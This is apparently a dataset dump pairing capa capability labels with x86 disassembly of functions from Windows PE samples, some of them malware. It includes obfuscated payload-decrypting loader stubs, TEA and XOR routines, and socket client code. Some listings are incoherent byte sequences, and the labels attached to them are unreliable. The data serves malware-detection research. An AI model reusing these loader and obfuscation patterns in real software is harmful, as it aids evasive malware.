joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp int.00401219
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x416a7c]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x401020
xor edx, edx
lea esi, [edx + 0x10]
nop dword [eax]
mov ecx, ebx
lea edx, [edx - 0x61c88647]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x401040
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4010a0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x416a7c]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x4010c0
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x4010e2
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401f50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x416a74]
push esi
mov esi, ecx
test eax, eax
je 0x401f7d
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x416a74], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x416a74], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov eax, dword [0x416a68]
mov dword [ebp - 0x10], eax
movzx eax, word [0x416a6c]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x416a74]
call dword [sym.imp.WS2_32.dll_connect]
push 0x23
push 0x8001
push esi
push dword [0x416a74]
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402e00
mov esp, ebp
pop ebp
ret

Function at 0x401ff0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
movzx eax, bx
movzx esi, ax
push edi
add esi, 0x10
mov dword [ebp - 8], edx
push esi
mov dword [ebp - 4], ecx
mov dword [ebp + 8], eax
call fcn.00405634
mov edi, eax
add esp, 4
test edi, edi
je 0x402137
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0xffffffffffffffff
mov word [edi + 2], ax
call dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov dword [edi + 4], eax
mov word [edi + 8], 1
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi + 0xa], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0xc], ax
mov eax, dword [ebp + 8]
add eax, 2
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
push ebx
push dword [ebp - 8]
mov word [edi + 0xe], ax
lea eax, [edi + 0x10]
push eax
call fcn.00404660
lea edx, [esi + 0xa]
mov ecx, 8
mov eax, edx
and eax, 7
sub ecx, eax
test eax, eax
cmove ecx, eax
lea eax, [ecx + edx]
mov dword [ebp + 8], eax
add eax, 0x12
push eax
call fcn.00405634
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x402137
lea eax, [ebp + 8]
mov edx, esi
push eax
lea ecx, [ebx + 0x12]
push ecx
push ecx
mov ecx, edi
call fcn.00401140
mov esi, dword [ebp + 8]
push edi
add esi, 0x12
call fcn.00405619
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_htonl]
push 0x74
mov dword [ebx], eax
call dword [sym.imp.WS2_32.dll_ntohs]
push 0
mov word [ebx + 4], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov word [ebx + 6], ax
call edi
push 0
mov dword [ebx + 8], eax
call edi
mov dword [ebx + 0xc], eax
mov edi, ebx
mov word [ebx + 0x10], 1
test esi, esi
jle 0x40212e
push 0
push esi
push edi
push dword [0x416a74]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40212e
sub esi, eax
add edi, eax
test esi, esi
jg 0x402112
push ebx
call fcn.00405619
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402290
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040dcf0
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [ebp + 8]
mov dword [ebp - 0x100c], ecx
sub eax, 1
jne 0x402496
push ebx
push esi
push eax
lea ebx, [ebp - 0x1004]
push 0x1000
mov eax, ebx
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x402494
mov ecx, dword [0x416a5c]
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
push edi
test ecx, ecx
je 0x402426
cmp dword [0x416a64], 4
jae 0x402345
mov ebx, dword [0x416a64]
lea eax, [ebp - 0x1004]
mov edi, 4
sub edi, ebx
cmp esi, edi
cmovl edi, esi
push edi
push eax
lea eax, [ebx + ecx]
push eax
call fcn.00404660
add ebx, edi
add esp, 0xc
mov dword [0x416a64], ebx
cmp ebx, 4
jb 0x402493
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
lea ebx, [ebp - 0x1004]
mov ecx, dword [0x416a5c]
add ebx, edi
sub esi, edi
push dword [ecx]
call eax
mov edx, dword [0x416a64]
mov ecx, eax
sub eax, edx
mov dword [ebp - 0x1010], ecx
mov dword [ebp - 0x1008], eax
cmp ecx, dword [0x416a60]
jle 0x40239a
push ecx
push dword [0x416a5c]
mov dword [0x416a60], ecx
call fcn.0040560e
mov edi, eax
add esp, 8
test edi, edi
je 0x402493
mov eax, dword [ebp - 0x1008]
mov edx, dword [0x416a64]
mov dword [0x416a5c], edi
jmp 0x4023a0
mov edi, dword [0x416a5c]
test eax, eax
js 0x402400
cmp esi, eax
cmovl eax, esi
push eax
mov dword [ebp - 0x1008], eax
lea eax, [edx + edi]
push ebx
push eax
call fcn.00404660
mov ecx, dword [0x416a64]
add esp, 0xc
add ecx, dword [ebp - 0x1008]
mov eax, dword [ebp - 0x1010]
mov dword [0x416a64], ecx
cmp ecx, eax
jl 0x402493
mov ecx, dword [ebp - 0x100c]
mov edx, edi
push eax
call fcn.00402140
add ebx, dword [ebp - 0x1008]
add esp, 4
sub esi, dword [ebp - 0x1008]
mov edi, dword [0x416a5c]
push edi
call fcn.00405619
add esp, 4
mov dword [0x416a5c], 0
mov dword [0x416a64], 0
test esi, esi
jle 0x402493
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
cmp esi, 4
jae 0x402432
mov edi, 4
jmp 0x402438
push dword [ebx]
call eax
mov edi, eax
push edi
cmp edi, esi
jg 0x40246b
mov ecx, dword [ebp - 0x100c]
mov edx, ebx
call fcn.00402140
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
sub esi, edi
add esp, 4
add ebx, edi
test esi, esi
jg 0x402426
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e00
mov esp, ebp
pop ebp
ret
mov dword [0x416a60], edi
call fcn.00405634
add esp, 4
test eax, eax
je 0x402493
push esi
push ebx
push eax
mov dword [0x416a5c], eax
call fcn.00404660
add esp, 0xc
mov dword [0x416a64], esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e00
mov esp, ebp
pop ebp
ret
Function at 0x405f20
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
sahf
in al, dx
sub esp, 0x9e000198

Function at 0x40a100
Capabilities:
Encode data using xor

Disassembly:
inc ecx
pop esi
xor byte [esi + ecx + 7], cl
loop 0x40a103
mov eax, 0x5040297
out dx, al
clc
div esi
cmc
retf 0x3d52
Function at 0x40b080
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub ecx, dword [ebx - 0x74a8f78b]
jge 0x40b0ff
mov eax, dword [esi + 0x10]
dec esi
adc al, 0xb
rol edi, 0x45
push esi
add byte [eax], al
add byte [eax], al
jne 0x40b10d
mov al, byte [esi + 8]
faddp st(0)
je 0x40b10d
mov eax, dword [ebp + 0x164d8d04]
push 0
adc ch, byte [edx]
push 0
push 0
push edx
call dword [0x56c00c]
test dword [ecx + 0x75], edi
xor eax, 0xc098358b
inc eax
add byte [esi + edx*8 - 0x76], ah
sal byte [ebp + 9], 0x8b
dec ebp
adc al, 0x5f
pop esi
mov ebp, eax
pop ebp
ret
jl 0x40b0e5
add byte [ebx + 0x5e5f794d], cl
mov ecx, dword [ebp + 0x79]
pop edi
pop esi
mov dword [ecx], 0xb7bf00
pop ebp
cmc
inc edx
inc ebp
or byte [ebp - 0x1c1e2d7f], al
push ebp
mov ebx, dword [edi + 0x5e]
mov dword [ecx], eax
mov eax, 0x7c0013
add dword [eax + 0x7c0013], edi
pop ebp
ret
mov eax, dword [esi + 0xc]
test eax, eax
je 0x40b155
mov cl, byte [esi + 8]
jg 0x40b0e2
jne 0x40b137
mov ecx, dword [esi - 0x7d]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x50]
mov ebx, dword [esi + 0x20b954]
mov edx, 0x11dfe800
add byte [eax], al
mov edx, dword [esi + 0xc]
mov dword [edx + 0xc], eax
jns 0x40b17f
or al, 0x21
push ebp
or al, 0x53
lea ecx, [edi + 0x1bb5017]
add al, 0x59
pop es
jb 0x40b199
call dword [sym.imp.KERNEL32.dll_ReadFile]
test dword [ecx - 0x3fccf88c], edx
jmp 0x40b285
xlatb
inc eax
add byte [ebx + 0x468b154e], cl
adc byte [ebp - 0x503483c3], al
add al, 0x85
rcl byte [edx + 0x6800ed10], 0xe8
add eax, dword [eax]
add byte [ecx + 0x50], dl
push ecx
push eax
call 0x419090
mov edx, 0x8362230d
clc
push dword [ebp - 0x5c]
or eax, dword [ebx + ebp*8 - 0x30]
xor eax, eax
mov ecx, dword [esi + 0xc]
push eax
mov edx, dword [ecx + 0x10]
push edx
inc dword [edx + 0x2081e88b]
add byte [eax], 0
add byte [edi + edi*4 - 0x7b], dh
push dword [esi + ebp*4 + 0x6f]
xchg ecx, eax
or dword [edi + 0x2b5e3300], ebx
cdq
sal byte [edi - 0x1397afe8], 0
or eax, dword [eax]
push eax
call int.004013f8
lodsd eax, dword [esi]
or dword [ebx], 0x60
or dword [ecx], eax
test dword [ebx - 0x57acfa7f], ecx
invalid
mov edi, dword [ebp + 0x10]
xchg dword [ebx + 0x4d8b1275], ebx
pushal
mov edi, dword [edi + 0x10]
pop ebx
pop edi
in al, dx
jle 0x40b2a8
inc ecx
add byte [ecx - 0x3ca2a1ef], cl
mov edx, dword [esi + 0x50]
test edx, edx
je 0x40b2bd
mov dl, byte [esi + 8]
test dl, dl
jne 0x40b2bd
mov byte [esi + 0x50], dl
jl 0x40b2e7
mov ecx, dword [esi + 0x54]
add dword [eax + 0x71], 0xffffff89
push esi
push eax
ror byte [esi - 0x59], 1
invalid
rcl byte [ebx - 0x7d], 0x8d
add dword [ebp - 0x77], ecx
inc ebp
cld
mov dword [ebp + 8], eax
jne 0x40b395
mov edi, dword [esi + 0x3c]
cmp edi, eax
je 0x3940b395
mov edi, esi
cmp byte [ebx + 0x576ffff], al
sbb esp, 0xffffffff
jmp 0x40b361
sal byte [ebp + 0x72], 0x89
inc ebp
or bl, ch
or edi, edi
add al, 0x98
cmp ah, 0x9b
add byte [ecx + 0x458b0845], cl
mov dword [ebp + 8], eax
mov eax, dword [ebp - 4]
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x406243
pop dword [ebp - 0x38]
mov eax, 0x406243
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x654bff5f
add dword [ebp - 0x48], 0xe90645ec
mov dword [ebp - 0x44], 0x6956b49b
add dword [ebp - 0x44], 0xc8dc97aa
mov dword [ebp - 0x40], 0x8820c57
add dword [ebp - 0x40], 0x43ca37d7
mov dword [ebp - 0x3c], 0xdb37d61
sub dword [ebp - 0x3c], 0xdb37d61
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xce6e67f9
sub dword [ebp - 0x48], 0x59fbfea3
mov dword [ebp - 0x44], 0x1ac008f
sub dword [ebp - 0x44], 0xc03f9f1a
mov dword [ebp - 0x40], 0x5c592840
sub dword [ebp - 0x40], 0xf8e9bbd4
mov dword [ebp - 0x3c], 0x4f04ba18
sub dword [ebp - 0x3c], 0x4f04ba18
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3ae7f
push 0
call eax
mov ecx, 0x3a81fb7f
add ecx, 0xc57e5c09
xor edi, edi
add edi, eax
mov edx, 0x785454cf
sub edx, 0x780d70cf
add edx, dword [ebp - 0x38]
mov esi, 0x5d5dea03
add esi, 0x25e43842
sub dword [ebp - 8], eax
mov ebx, dword [edx]
sub dword [ebp - 8], 0x9acfd249
xor ebx, esi
mov dword [edi], ebx
add dword [ebp - 0x28], eax
add edi, 4
add edx, 0xd45b24cf
sub edx, 0xd45b24cb
loop 0x406358
add eax, 0x7f048e6f
add eax, 0x80fcc284
xor ebx, ebx
add ebx, eax
add eax, 0xc29574b0
sub eax, 0xc29574ab
mov ecx, 0xf223efb2
sub ecx, 0xf1e3efb2
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40325b
pop dword [ebp - 0x14]
mov eax, 0xce4c1fc1
sub eax, 0xce0bed66
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x44e0c0b2
add dword [ebp - 0x24], 0x9718499
mov dword [ebp - 0x20], 0xabe91e0c
sub dword [ebp - 0x20], 0x79b5d1c7
mov dword [ebp - 0x1c], 0x8d58fb1e
add dword [ebp - 0x1c], 0xbef34910
mov dword [ebp - 0x18], 0x7aa78274
sub dword [ebp - 0x18], 0x7aa78274
lea eax, [ebp - 0x24]
push eax
mov eax, 0xa2e3b4f2
sub eax, 0xa2a3347a
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x85d5a8c1
add dword [ebp - 0x24], 0xee9cc095
mov dword [ebp - 0x20], 0x55f2c090
add dword [ebp - 0x20], 0xeb79a0e5
mov dword [ebp - 0x1c], 0x403ef981
add dword [ebp - 0x1c], 0x233072eb
mov dword [ebp - 0x18], 0x188f3e7f
sub dword [ebp - 0x18], 0x188f3e7f
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xea93cab4
add eax, 0x15acb5c8
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3a2b8
push 0
call eax
mov ecx, 0x52ba2c8e
sub ecx, 0x52b9d800
xor edi, edi
add edi, eax
mov edx, 0x541756c2
sub edx, 0x53d1c4c2
add edx, dword [ebp - 0x14]
mov esi, 0x7459840
sub esi, 0x302483b6
sub dword [ebp - 4], esi
mov ebx, dword [edx]
sub dword [ebp - 0x10], 0x8047e9a5
xor ebx, esi
sub dword [ebp - 0x10], edx
mov dword [edi], ebx
xor dword [ebp - 0xc], 0xfe4b2f67
add edi, 0x250ca1b2
add edi, 0xdaf35e52
add edx, 0xa9223278
sub edx, 0xa9223274
loop 0x40337f
add eax, 0x22c91e16
add eax, 0xdd3826f5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412d00
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x412ea9
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x3f
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x84
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xb8
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xee
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf3
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x6b
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf3
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x2b
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
dec byte [esi + ebx]
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x52
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x49
add esp, 0x40
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xcd
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x33
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x3b
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x9c
add esp, 0x30
inc esi
cmp esi, edi
jb 0x412d20
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x451ba9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451bba
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405907
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b052
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b063
pop esi
ret
push ebx
push edi
push esi
call fcn.0049af39
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fda
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b08b
push ebx
push esi
push edi
call fcn.004056fa
add esp, 0xc
push 0
call fcn.00406244
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x401770
Capabilities:
Query environment variable

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov edi, edx
mov ebx, ecx
push str.ANDROID_PRODUCT_OUT
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
add esp, 4
test eax, eax
je 0x4018bb
mov ebp, eax
cmp byte [eax], 0
je 0x4018bb
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [esp + 8], 0
push ebp
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
cmp eax, 0xfffffff0
jae 0x4018c5
mov ecx, eax
cmp eax, 0xb
jae 0x4017dc
mov eax, ecx
add al, cl
mov byte [esp], al
lea esi, [esp + 1]
test ecx, ecx
jne 0x401809
jmp 0x401818
mov dword [esp + 0xc], ebx
mov ebx, ecx
or ebx, 0xf
lea eax, [ebx + 1]
push eax
mov esi, ecx
call fcn.00420cd0
mov ecx, esi
add esp, 4
mov esi, eax
mov dword [esp + 8], eax
add ebx, 2
mov dword [esp], ebx
mov ebx, dword [esp + 0xc]
mov dword [esp + 4], ecx
push ecx
push ebp
push esi
mov ebp, ecx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov ecx, ebp
add esp, 0xc
mov byte [esi + ecx], 0
mov ecx, esp
push 0x5815f4
call fcn.00424b40
mov ecx, dword [eax + 8]
mov dword [esp + 0x18], ecx
movsd xmm0, qword [eax]
movsd qword [esp + 0x10], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
movzx eax, byte [edi]
test al, 1
je 0x40185c
mov eax, dword [edi + 4]
mov edi, dword [edi + 8]
jmp 0x40185f
inc edi
shr eax, 1
lea ecx, [esp + 0x10]
push eax
push edi
call fcn.004248f0
mov ecx, dword [eax + 8]
mov dword [ebx + 8], ecx
movsd xmm0, qword [eax]
movsd qword [ebx], xmm0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax], 0
test byte [esp + 0x10], 1
je 0x40189f
push dword [esp + 0x18]
call fcn.00420e70
add esp, 4
test byte [esp], 1
je 0x4018b1
push dword [esp + 8]
call fcn.00420e70
add esp, 4
mov eax, ebx
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
push str.ANDROID_PRODUCT_OUT_not_set
call fcn.004291c0
mov ecx, esp
call fcn.00423df0
nop dword [eax]
Function at 0x402020
Capabilities:
Terminate process

Disassembly:
push edi
push esi
push eax
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 2
call edi
add esp, 4
push str.fastboot:_usage:
push eax
call fcn.004018d0
add esp, 8
lea eax, [esp + 0x14]
mov dword [esp], eax
push 2
call edi
add esp, 4
mov ecx, eax
mov edx, esi
push dword [esp]
call fcn.00402080
add esp, 4
push 2
call edi
add esp, 4
push 0x580677
push eax
call fcn.004018d0
add esp, 8
push 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop dword [eax + eax]